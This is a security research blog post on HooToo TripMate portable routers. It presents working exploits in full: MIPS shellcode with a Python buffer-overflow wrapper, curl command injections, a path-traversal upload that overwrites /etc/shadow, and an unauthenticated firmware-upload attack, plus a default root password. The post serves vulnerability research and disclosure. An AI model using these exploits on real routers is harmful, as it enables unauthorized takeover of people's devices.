RESEARCH | April 23, 2018

HooToo TripMate Routers are Cute But Insecure

It has been a while since I published something about a really broken router. To be honest, it has been a while since I even looked at a router, but let me fix that with this blog post.

 
TL;DR: While HooToo TripMate routers are cute, they are also extremely insecure. Multiple memory corruptions, multiple OS command injections, arbitrary file upload, and arbitrary firmware update: all of them unauthenticated.
Reconnaissance Phase
Last October (2017), I had a couple of evenings free during an on-site project. I also had a router with me that I had gotten for Christmas: a HooToo TripMate Titan HT-TM05 portable router. 
 
Figure 1: HooToo HT-TM05
First thing I always do when I start playing with a new toy is to use my h4x0r skill to google ‘hootoo exploit’ and see if someone else has already done some research. I usually hope to find nothing (it is always exciting to be in unknown territories) but this time, Google already had multiple hits:
          GitHub repository containing HooToo TripMate Titan research notes
          “Protecting the digital nomad” (blog post series, part 1 of 4)
          “Hacking travel routers like it’s 1999”

There was plenty of information to process in the GitHub repository.
Mikhail’s DefCon presentation and blog post series (part 1, 2, 3 and 4) are interesting as well. I recommend giving them a read.

In short,
Mikhail found several unauthenticated memory corruptions in another model from the TripMate series (HT-TM06) that he exploited to reach unauthenticated remote code execution. His vulnerabilities targeted the ioos binary, HooToo TripMate’s custom CGI server listening on port 81 on the router.

The first thing I did was use Mikhail’s vulnerability against my model. It is very common for routers within the same series to share the same codebase. So, I tried to trigger the buffer overflow in the cookie header against my HT-TM05 model, and it crashed! Meaning that, although TripMate fixed the bug in the HT-TM06 model, the HT-TM05 model was still vulnerable (note: this was true back in October, but, when downloading the latest firmware in order to gather materials for this blog post, I found that Mikhail’s vulnerabilities had been fixed in the HT-TM05 too).
The blog post series linked above provides a lot of information to help root the device with a custom firmware and debug HooToo’s custom CGI server using GDB. I will skip these steps. Please read the blog post series if you are interested.



Porting Exploit from HT-TM06 to HT-TM05


I had a rough time understanding the exploit written for HT-TM06. As it seemed more complicated than necessary, I wrote a version for my model that leverages the function do_cmd already available in the ioos CGI server.


Basically, the shellcode calls do_cmd(/etc/init.d/teld.sh start) to enable telnet on the router. Once telnet is enabled, use the default root password
found and cracked by chorankates to login:

 

Table 1: MIPS shellcode
$ cat shellcode.asm
.section .text
.globl __start
.set noreorder
 
__start:
            lui $a0,0x0053  # load upper address of ‘/etc/init.d/teld.sh start’
            ori $a0,0x3580  # load lower address
            lui $t9,0x0041  # load upper address of do_cmd
            ori $t9,0x0cd4  # load address offset
            jalr $t9  # call do_cmd(‘/etc/init.d/teld.sh start’)
            nop  # filler
$ ./buildroot-2017.02.6/output/host/usr/mipsel-buildroot-linux-uclibc/bin/as -EL shellcode.asm -o shellcode.out

I then wrote a python wrapper to exploit the buffer overflow and send the shellcode.
Table 2: Python wrapper for the shellcode
import struct
import requests
 
HOST = ‘10.10.10.254’
PORT = 81
 
# Shellcode do_cmd(‘/etc/init.d/teld.sh start’)
shellcode = ‘x00x00’
shellcode += ‘x00’ * 400  # NOP sled
shellcode += struct.pack(‘<I’, 0x3c040053)
shellcode += struct.pack(‘<I’, 0x34843580)
shellcode += struct.pack(‘<I’, 0x3c190041)
shellcode += struct.pack(‘<I’, 0x37390cd4)
shellcode += struct.pack(‘<I’, 0x0320f809)
shellcode += ‘x00’ * 4
 
offset_shellcode = 0x5addd0  # hardcoded
bof = ‘A’ * 1036
# NULL-byte added by strcpy
bof += struct.pack(‘<I’, offset_shellcode).replace(‘x00’, ”)
 
try:
    r = requests.post(
        ‘http://{}:{}/protocol.csp’.format(HOST, PORT),
        headers={‘Content-Type’: ‘application/x-www-form-urlencoded’, ‘Cookie’: bof},
        data=shellcode)
except requests.exceptions.ConnectionError:
    pass

It must be the most unreliable exploit I have ever written. As explained by
Mikhail, partial ASLR is enabled on the router, but the memory layout of ioos appears to be quite similar across reboots – hence the hardcoded offsets. I am not sure how reliable Mikhail’s exploit is but mine is 10% at most. That might be due to the fact that it is the first MIPS exploit I have ever written…

Furthermore, the exploit crashes ioos, which means that 9 times out of 10, the exploit will fail, and I have to reboot the router in order to retry (highly impractical). However, when it does work, it feels pretty good:

 

Table 3: Running the exploit to enable telnet and login using the default root password
$ telnet 10.10.10.254
Trying 10.10.10.254…
telnet: connect to address 10.10.10.254: Connection refused
telnet: Unable to connect to remote host
$ python exploit.py
$ telnet 10.10.10.254
Trying 10.10.10.254…
Connected to 10.10.10.254.
Escape character is ‘^]’.
HT-TM05 login: root
Password: 20080826
login: can’t chdir to home directory ‘/root’
#

Doing some manual fuzzing, I identified additional unauthenticated memory corruptions:
          Unauthenticated Buffer Overflow in Content-Type Header
          Unauthenticated Buffer Overflow in Content-Length Header
          Unauthenticated Off-by-one Buffer Overflow in URI (DoS)

Great! Job’s done then, right? Not quite. First, I personally dislike using someone else’s vulnerabilities (which is the main reason why I prefer web application pen-tests over network pen-tests) and second, the ones I found are as unreliable as the HT-TM06 ones.

Due to the unreliability of the exploit, I decided to look for something else. Maybe a memory leak or a more easily exploitable vulnerability. Since TripMate HooToo is using a custom HTTP server with multiple past memory corruptions, I was confident that I could find additional issues.

So… let’s hunt for more exploits!


Evaluating the Attack Surface


Let’s start by analyzing the
ioos. The first thing we should try to identify is the attack surface of the router for an unauthenticated attacker. Let’s look at: What functions can we call without being logged in? What data is being processed before checking our session? And so on.

Searching for function names that appear when proxying the web interface, we find the following list that looks promising:
 
Figure 2: List of CGI functions

Following the cross-references, we find an array that references each string in the previous list -175 of them on HT-TM05 to be precise. Moreover, the array appears to contain a simple structure composed of a string, a flag and a callback function. Let’s label it cgi_callback.

Creating the structure in IDA and updating the array gives the following disassembly:

Going over the multiple items of the array, we can try to guess the meaning of the flag element. We can see two values: 0x11 and 0x01.

The CGI callback for pwdchk, which is the function called upon login to check the username and password, has 0x01. We can, therefore, suppose that all CGI callbacks that have 0x01 can be called unauthenticated, which gives us a very good starting point.

 


If we look at the callback for pwdmod just underneath pwdchk, which is the function called when changing the password, we notice the following call to cgi_chk_sys_login early in the execution flow:
Table 4: Early call to cgi_chk_sys_login in pwdmod
[ . . . ]
.text:0045C7A8                 la      $t9, cgi_chk_sys_login
.text:0045C7AC                 nop
.text:0045C7B0                 jalr    $t9 ; cgi_chk_sys_login
[ . . . ]

Looking at cgi_chk_sys_login, it appears to check if the user is logged in or not, as implied by the name of the function. The function is referenced about 134 times in
ioos, by many CGI callbacks. It is nowhere to be found in pwdchk, which reinforces our guess from earlier.

Let’s go over each and every CGI callbacks that have 0x01 and see if we can find something interesting. Let’s even start with pwdchk since we are here:

Table
5: Stack-based buffer overflow in pwdchk
.text:0045C398                 lw      $t9, 0x14($v0)
.text:0045C39C                 lw      $a0, 0x240+var_228($sp)
.text:0045C3A0                 la      $a1, aNickyS     # “nicky=====%sn”
.text:0045C3A4                 nop
.text:0045C3A8                 addiu   $a1, (aName_0 – 0x510000)  # “name”
# get value of GET variable ‘name’
.text:0045C3AC                 jalr    $t9            
.text:0045C3B0                 nop
.text:0045C3B4                 lw      $gp, 0x240+var_230($sp)
# store result in username variable
.text:0045C3B8                 sw      $v0, 0x240+username($sp) 
[ . . . ]
.text:0045C4FC                 lw      $gp, 0x240+var_230($sp)
.text:0045C500                 addiu   $v0, $sp, 0x240+stack_buffer_512B
# arg0 = stack_buffer_512B
.text:0045C504                 move    $a0, $v0         # s
.text:0045C508                 la      $a1, aNickyS     # “nicky=====%sn”
.text:0045C50C                 nop
# arg1 = “%s:! “
.text:0045C510                 addiu   $a1, (aS_36 – 0x510000)  # “%s:!”
# arg2 = username (user-supplied)
.text:0045C514                 lw      $a2, 0x240+username($sp)
.text:0045C518                 la      $t9, sprintf
.text:0045C51C                 nop
# call sprintf(stack_buffer_512B, ‘%s:!’, username)
.text:0045C520                 jalr    $t9 ; sprintf
.text:0045C524                 nop

You are reading it correctly. The first unauthenticated function we are looking at is vulnerable to a stack-based buffer overflow. We can confirm the vulnerability with the following curl command and attach GDB to the
ioos binary (the other parameters such as the protocol.csp page name were identified when proxying the traffic to the web interface):

Table
6: curl command to exploit the overflow in pwdchk
curl -i -s -k  -X $’GET’ $’http://10.10.10.254:81/protocol.csp?function=set&fname=security&opt=pwdchk&name=AAAA [ . . . ]AAAAEEEE&pwd1=’

 

And looking at GDB:


Table
7: GDB output showing the segmentation fault
gdb-peda$ c
Continuing.
 
Program received signal SIGSEGV, Segmentation fault.
Warning: not running or target is remote
0x45454545 in ?? ()
gdb-peda$ i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 00000001 0132c35e 00000000 2b99e47c 00000001 00000000 00000001
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000000 8054e7b0 00000001 73617020 83460da0 00000001 00000100 00000400
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  00594668 00407ef0 00000000 ffffffff 2b99fa80 7fb619f4 00407e60 00000002
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000001 2b680740 00000000 00000000 00596c90 7fb5f368 004080d0 45454545
        status       lo       hi badvaddr    cause       pc
      0100ff13 00000000 00000001 45454544 50800008 45454545
          fcsr      fir      hi1      lo1      hi2      lo2      hi3      lo3
      00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
        dspctl  restart
      00000000 00000000
gdb-peda$

However, it does not solve our initial issue: exploiting it would be highly unreliable except if we can find a memory leak or another vulnerability. So, let’s keep digging.


From 10% Reliability to 100%

Among the other unauthenticated functions, we find open_forwarding:
 
Figure 3: Beginning of open_forwarding CGI callback

Based on the first couple of blocks, the function expects two GET parameters: ip and flag. If ip is not set, it exits immediately. If it is set and flag is not, it goes to the following block:
Table 8: Unauthenticated OS command injection in open_forwarding
.text:0044093C                 lw      $gp, 0x430+var_420($sp)
.text:00440940                 addiu   $v0, $sp, 0x430+buffer_cmd
# arg0 = local buffer of 1024 bytes
.text:00440944                 move    $a0, $v0         # s
.text:00440948                 la      $a1, aNickyS     # “nicky=====%sn”
.text:0044094C                 nop
# arg1 = “locknet “/etc/init.d/delaccessmac.sh aaa %s””
.text:00440950                 addiu   $a1, (aLocknetEtcIn_1 – 0x510000)  # “locknet “/etc/init.d/delaccessmac.sh a”…
# arg2 = ip (user-supplied)
.text:00440954                 lw      $a2, 0x430+ip($sp)
.text:00440958                 la      $t9, sprintf
.text:0044095C                 nop
# call sprintf(buffer_cmd, …, ip)
.text:00440960                 jalr    $t9 ; sprintf
.text:00440964                 nop
.text:00440968                 lw      $gp, 0x430+var_420($sp)
.text:0044096C                 addiu   $v0, $sp, 0x430+buffer_cmd
.text:00440970                 move    $a0, $v0
.text:00440974                 la      $t9, do_cmd
.text:00440978                 nop
# call do_cmd(buffer_cmd) with user-controlled value
.text:0044097C                 jalr    $t9 ; do_cmd
.text:00440980                 nop

In addition to being vulnerable to a stack-based buffer overflow (exactly like pwdchk), open_forwarding is also vulnerable to an Operating System command injection. This is so much easier to exploit and much more reliable!

The following curl command will exploit the unauthenticated OS command injection to enable telnet on the router:

Table
9: curl command to enable telnet
curl -i -s -k  -X $’GET’ $’http://10.10.10.254:81/protocol.csp?function=set&fname=security&opt=open_forwarding&ip=`/etc/init.d/teld.sh%20start`

Looking at the other unauthenticated functions, we can identify additional OS command injections:
          2 in open_forwarding (in the ip parameter)
          4 in mac_table (in the mac parameter)
Along with them, we can also find additional memory corruption vulnerabilities:
          Unauthenticated Buffer Overflow in mac_table
          Unauthenticated Buffer Overflow in open_forwarding

Excellent! We reached our goal right? We found much easier and more reliable unauthenticated vulnerabilities to exploit and compromise the router. All it took us was to find CGI callbacks, identify the ones that did not require authentication, and look at what they were doing with the user-supplied data.

And, yet, I think we can find more…


Keep Digging


Most of the protocol.csp 175 functions we identified handle GET requests, but some of them handle POST requests too. While I understand how GET requests are being processed by
ioos, it is not as clear for POST requests. I think we should have a look.

If we look at
ioos’ main function, we see that we can specify 3 CLI options:

Table
10: CLI options for ioos
.rodata:0050835C aIoosHelpDaemon:.ascii “ioos [–help] [–daemon] [–debug]n”<0>

So let’s take advantage of the fact that we have access to the device. We can edit the file /etc/init.d/web on the router responsible for managing the web services, and add the ‘–debug’ flag to increase
ioos’ verbosity:
Table 11: Updated configuration for web
# cat /etc/init.d/web
#!/bin/sh
# description: Starts and stops the web manager daemons
#              used to provide web manager services.
#
# pidfile: /var/run/webd.pid
# config:  /etc/webmg/webmg.conf
 
# Const
PRGNAME=ioos
SRVNAME=ioos
[ . . . ]
# Function
start() {
        #check program
        checkonly $PRGNAME
        if [ $? -eq 0 ];then
            exit 0
        fi
        cd /www
        /usr/sbin/$PRGNAME –debug
        if [ $? -eq 0 ];then
                savesc 3 /usr/sbin/$PRGNAME $SRVNAME
        else
                echo “$SRVNAME service start failure”
        fi  
        cd /
       
        return $?
}      
[ . . . ]

We then send a dummy POST request and look at the output. Because there are multiple references to multipart/form-data in
ioos, we can already change the content-type of the POST request accordingly:
Table 12: Snippet of ioos debug output when receiving a POST request
# /etc/init.d/web restart
[ . . . ]
(httpd.c,thdatatab_alloc,1798)Allocate data 0x5af760
(httpd.c,httpd_parse_request,776)recevie length: 273
 
(httpd.c,httpd_parse_request_line,827)REQLINE:POST /protocol.csp HTTP/1.1
Host: 10.10.10.254:81
User-Agent: Windows
Connection: close
Content-Type: multipart/form-data; boundary=——–2052049399
Content-Length: 95
 
———-2052049399
Content-Disposition: form-data; name=”test”
 
 
———-2052049399–
 
 
(cgi.c,cgi_tab_alloc,2148)Allocate cgi 0x0x598ab8
(httpd.c,ht_header_find,1449)Fail: Miss find
 
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=SCRIPT_NAME, v=protocol.csp)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=GATEWAY_INTERFACE, v=CGI/1.1)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=SERVER_PROTOCOL, v=HTTP/1.1)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=REQUEST_METHOD, v=POST)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=SERVER_NAME, v=10.10.10.254)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=SERVER_PORT, v=81)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=REMOTE_ADDR, v=10.10.10.1)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=REMOTE_IDENT, v=OS:[Windows]-Browser:[])
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=CONTENT_TYPE, v=multipart/form-data; boundary=——–2052049399)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=CONTENT_LENGTH, v=95)
Single Thread Handle….
prgcgi_main_handler begin:prgtab[0].name=protocol.csp
(cgi.c,cgi_init_parse_env,966)cgi->envlen == 0
 
(cgi.c,cgi_sess_start,1831)Create a new session: BjxbMS2rYcPZzBSn2srcbR37hX7dMSef3LqQuigsn5qUz
 
(cgi.c,cgi_end,1102)Close cgi socket: 4
 
prgcgi_main_handler end:prgtab[0].name=protocol.csp
(ht_cgi.c,ht_cgi_do,179)Free CGI memory
 
(cgi.c,cgi_tab_free,2187)Free cgi 0x0x598ab8
(ht_cgi.c,ht_cgi_do,184)Free CGI memory finish
 
(httpd.c,thdatatab_free,1843)Free data
 
(httpd.c,httpd_schedule,685)Socket list are empty

The debug output contains interesting information. Let’s cross-reference some of the debug strings and follow the execution flow inside
ioos. After some reversing, we identify the cgi class, responsible for handling HTTP POST forms:
Table 13: Snippet of s_cgi structure initialization
.text:004F5A64                 lw      $v1, 0x28+cgi($sp)
.text:004F5A68                 lui     $v0, 1
.text:004F5A6C                 addu    $v1, $v0
.text:004F5A70                 la      $v0, loc_4F0000
.text:004F5A74                 nop
.text:004F5A78                 addiu   $v0, (cgi_form – 0x4F0000)
.text:004F5A7C                 nop
.text:004F5A80                 sw      $v0, s_cgi.fct_cgi_form($v1)

To be honest, the cgi_form function is tedious to fully reverse, but we do not have to do it. We can quickly look at the functions it calls and the strings it references to make some hypotheses.

Looking at the different strings referenced in cgi_form, we can infer that it parses POST multipart/form-data requests (which we already knew). The form data may contain a name and filename parameters (which we didn’t know yet and which looks interesting). Once it finds a name and filename parameters, it calls open followed by another unknown function.

 

Since we can dynamically analyze ioos, we do not have to understand every little bit of code in those functions. Instead, as soon as we understand that we can pass a filename parameter, we could send the following request:

 

Table 14: curl POST request with filename
curl -i -s -k  -X $’POST’ -H $’Content-Type: multipart/form-data; boundary=———-42′ –data-binary $’————42x0dx0aContent-Disposition: form-data; name=”AAAA”; filename=”BBBB”x0dx0ax0dx0aCCCCx0dx0a————42′ $’http://10.10.10.254:81/protocol.csp’

And look at the debug output from
ioos:
Table 15: Snippet of ioos debug output when processing CGI forms
[ . . . ]
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=CONTENT_TYPE, v=multipart/form-data; boundary=———-42)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=CONTENT_LENGTH, v=100)
Single Thread Handle….
prgcgi_main_handler begin:prgtab[0].name=protocol.csp
(cgi.c,cgi_init_parse_env,966)cgi->envlen == 0
 
(cgi.c,cgi_sess_start,1831)Create a new session: 1sGlXcZgbIGtS5cUQ3Zadr6T4pbfi3XauvvqGjzI37cU3
 
(cgi.c,cgi_form,1377)OK: Open /tmp//BBBB: 6
 
(cgi.c,cgi_form,1416)OK: Close /tmp//BBBB: 6
 
(cgi.c,cgi_end,1102)Close cgi socket: 4
 
prgcgi_main_handler end:prgtab[0].name=protocol.csp
(ht_cgi.c,ht_cgi_do,179)Free CGI memory
[ . . . ]
Interesting. Apparently, we can send POST requests unauthenticated that will create a file under /tmp/ on the router. We can confirm that it contains the data we specified in the body of the request:
Table 16: Temporary file created on the router
# cat /tmp/BBBB
CCCC


Dot Dot Much?

 

Next, consider what happens if we send a POST request whose filename parameter points to a parent directory. Obviously, we should target a writeable directory since we are targeting an embedded device. Looking at the fstab entries, we should be able to write to /etc:

 

Table 17: fstab entries on the router
# cat /etc/fstab
proc            /proc           proc    defaults 0 0
none            /var            ramfs   defaults 0 0
none            /etc            ramfs   defaults 0 0
none            /tmp            ramfs   defaults 0 0
none            /media          ramfs   defaults 0 0
none            /sys            sysfs   default  0 0
none            /dev/pts        devpts  default  0 0
none            /proc/bus/usb   usbfs   defaults 0 0

Let’s try creating a file under /etc/:
Table 18: curl POST request attempting to exploit a LFI in filename
curl -i -s -k  -X $’POST’ -H $’Content-Type: multipart/form-data; boundary=———-42′ –data-binary $’————42x0dx0aContent-Disposition: form-data; name=”AAAA”; filename=”../etc/BBBB“x0dx0ax0dx0aCCCCx0dx0a————42′ $’http://10.10.10.254:81/protocol.csp’

And, lo and behold:
Table 19: File successfully created on the router
# cat /etc/BBBB
CCCC

We can write arbitrary files with arbitrary content on the router – unauthenticated! In our proof of concept, let’s overwrite /etc/shadow, which is used by the web server to authenticate the admin user.

For our scenario, I have updated the default admin password to ‘password’. The following curl request attempts to logon the web interface using an empty password, resulting in an error (login failed):

 

Table 20: Failed login request with a blank password
$ curl -i -s -k  -X $’POST’ -H $’Content-Type: application/x-www-form-urlencoded’ -H $’Content-Length: 42′ -H $’Connection: close’ –data-binary $’fname=security&opt=pwdchk&name=admin&pwd1=‘ $’http://10.10.10.254:81/protocol.csp?function=set’
HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 96
Content-type: text/xml;charset=UTF-8
Set-cookie: SESSID=j27RhcAwIejyjA8CMDA14P8xRftxwSZSJVy28asRpCqyd;
Connection: close
Date: Sun, 01 Jan 2012 00:55:20 GMT
 
<?xml version=”1.0″ ?><root><security><pwdchk><errno>20104030</errno></pwdchk></security></root>

The next curl request leverages the LFI we just identified to override /etc/shadow with a new admin user with a blank password:
Table 21: Exploiting the LFI to override /etc/shadow
$ curl -i -s -k  -X $’POST’ -H $’Content-Type: multipart/form-data; boundary=———-42′ –data-binary $’————42x0dx0aContent-Disposition: form-data; name=”AAAA”; filename=”../etc/shadow“x0dx0ax0dx0aroot:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15386:0:99999:7:::x0dx0aadmin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:13341:0:99999:7:::x0dx0a————42′ $’http://10.10.10.254:81/protocol.csp’
HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 58
Content-type: text/xml;charset=UTF-8
Connection: close
Set-cookie: SESSID=p41UE1ZlWl46OrDxongjZirYJ9enqPrQSrAoiwA9JDfw5;
 
<?xml version=”1.0″ ?><root><errno>20100000</errno></root>

Finally, when attempting once again to logon using a blank password, we can see that the login is now successful:

Table
22: Successful login using a blank password
$ curl -i -s -k  -X $’POST’ -H $’Content-Type: application/x-www-form-urlencoded’ -H $’Content-Length: 42′ -H $’Connection: close’ –data-binary  $’fname=security&opt=pwdchk&name=admin&pwd1=‘ $’http://10.10.10.254:81/protocol.csp?function=set’
HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 89
Content-type: text/xml;charset=UTF-8
Set-cookie: SESSID=J5sWdCOn4L7c1luFLjp5LOnboxXTCuPeqgduU1RPDZTD9;
Connection: close
Date: Sun, 01 Jan 2012 00:55:45 GMT
 
<?xml version=”1.0″ ?><root><security><pwdchk><errno>0</errno></pwdchk></security></root>

Excellent! In addition to multiple instances of unauthenticated OS command injections, we confirmed that we are able to upload arbitrary files to arbitrary locations – again, unauthenticated.
And yet, I feel like we can find even better!


I Said Keep Digging


So far, we have only looked at the handlers for the protocol.csp endpoint, but there are other endpoints too:
 
Figure 4: CGI endpoints and their handlers

Let’s have a look at the second one, handling requests to the sysfirm.csp endpoint. The name sounds interesting, as it could handle functions related to the firmware management, such as updating the firmware.

Looking at the cgi_sysset_firm_handler function, there is no call to cgi_chk_sys_login whatsoever, which could mean that authentication is not required when accessing sysfirm.csp.

Following the execution flow, sysfirm.csp can be called with a fname parameter. When the parameter is set to sysupfileform (among other possible values),
ioos calls another function that we can rename handle_sysupfileform.

The function is a bit long so I wrote its pseudo python code instead:
Table 23: Pseudo python code of handle_sysupfileform
def handle_sysupfileform():
    useful_path = get_first_usefulpath()
    if not useful_path:
        useful_path = ‘/data/UsbDisk1/Volume1/.vst/upgrade’
    else:
        useful_path += ‘/.vst/upgrade’
    # [ . . . ]
    if not os.file.exists(useful_path):
        os.system(‘mkdir –p %s’ % useful_path)
    fname = HTTP_POST[‘fname’]
    if fname == ‘sysupfileform’:
        file = HTTP_POST[‘file’]
        fullpath = ‘%s/%s’ % (useful_path, file)
        os.system(‘chmod 0700 %s’ % fullpath)
        g_fullpath = fullpath
        thread.start_new_thread(do_firmware_update)
    [ . . . ]

This is very promising! Basically, we can upload a file that will be stored under the directory ‘upgrade/’. The file is then chmod-ed to be executable and the function do_firmware_update is called in a thread.

The thread function is rather simple:

Table
24: Pseudo python code of do_firmware_update
def do_firmware_update():
    global g_fullpath
    os.popen(g_fullpath, ‘w’)
    [ . . . ]

All in all, it appears that we can upload a shell script that will be executed by the router. It makes sense in a way, since the outer shell of a HooToo’s firmware is a shell script (see slide 10 from the DefCon presentation linked earlier). What makes less sense though, is that we apparently can upload the firmware without being unauthenticated!
 

Is it really unauthenticated though? Maybe it uses a different function than
cgi_chk_sys_login to ve
rify that the user is logged in:
Table 25: Exploiting sysfirm.csp to enable telnet
$ curl -i -s -k  -X $’POST’ -H $’AAAA: BBBB’ -H $’Content-Type: multipart/form-data; boundary=———-43′ –data-binary $’————43x0dx0aContent-Disposition: form-data; name=”file”; filename=”AAAA”x0dx0ax0dx0a/etc/init.d/teld.sh startx0dx0a————43x0dx0aContent-Disposition: form-data; name=”fname”x0dx0ax0dx0asysupfileformx0dx0a————43–‘ $’http://10.10.10.254:81/sysfirm.csp’
HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 1
Content-type: text/html
Connection: close
Set-cookie: SESSID=xQJYZs56g7B9j8E5G3jDjMpS9IQFV7wiXahJBmRJjsTur;




While the server does not send any meaningful response, we can see that indeed, telnet has been enabled on the router:
Table 26: Verifying that telnet has been enabled on the router
$ telnet 10.10.10.254
Trying 10.10.10.254…
Connected to 10.10.10.254.
Escape character is ‘^]’.
HT-TM05 login: root
Password: 
login: can’t chdir to home directory ‘/root’
# uname -a
Linux HT-TM05 2.6.36+ #382 Wed Dec 13 14:39:20 CST 2017 mips unknown

It is unauthenticated, after all. We can basically upgrade the firmware of the router without having to authenticate. In our proof-of-concept, we only leveraged that vulnerability to enable telnet on the router.
We can also find one additional vulnerability in sysfirm.csp:
          Unauthenticated Operating System Command Injection in /sysfirm.csp


Affected Models


We confirmed that HooToo TripMate Titan HT-TM05 (firmware HooToo-TM05-Firmare- 2.000.080) was vulnerable to multiple critical vulnerabilities. As I noted earlier, most routers within the same series share a common codebase. It would be interesting to have a look and evaluate whether other models are affected as well.

Since I only have the model HT-TM05 in my possession, I am unable to be 100% sure whether the models TM01, TM02, TM03, TM04 and TM06 are vulnerable or not. However, I can confirm if the
ioos binary shipped with their latest firmware has the same vulnerabilities as the TM05. If their ioos binary shares the same vulnerabilities, then it is more than likely that the routers are vulnerable as well.

The list of vulnerabilities I have identified are available in the security advisory. Here, I only list the ones I was able to statically confirm (via reverse engineering) in the other models:
          Unauthenticated Remote Code Execution in /sysfirm.csp
o   HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
o   HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
o   HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
o   HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
o   HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)
          Multiple Instances of Unauthenticated Operating System Command Injection in open_forwarding
o   HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
o   HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
o   HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
o   HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
o   HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)
          Multiple Instances of Unauthenticated Operating System Command Injection in mac_table
o   HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
o   HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
o   HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
o   HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
o   HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)
          Unauthenticated Operating System Command Injection in /sysfirm.csp
o   HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
o   HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
o   HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
o   HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
o   HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)
          Unauthenticated Arbitrary File Upload
o   HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
o   HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
o   HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
o   HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
o   HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)
          Unauthenticated Buffer Overflow in mac_table
o   HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
o   HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
o   HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
o   HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
o   HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)
          Unauthenticated Buffer Overflow in open_forwarding
o   HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
o   HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
o   HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
o   HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
o   HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)
          Unauthenticated Buffer Overflow in pwdchk
o   HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
o   HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
o   HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
o   HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
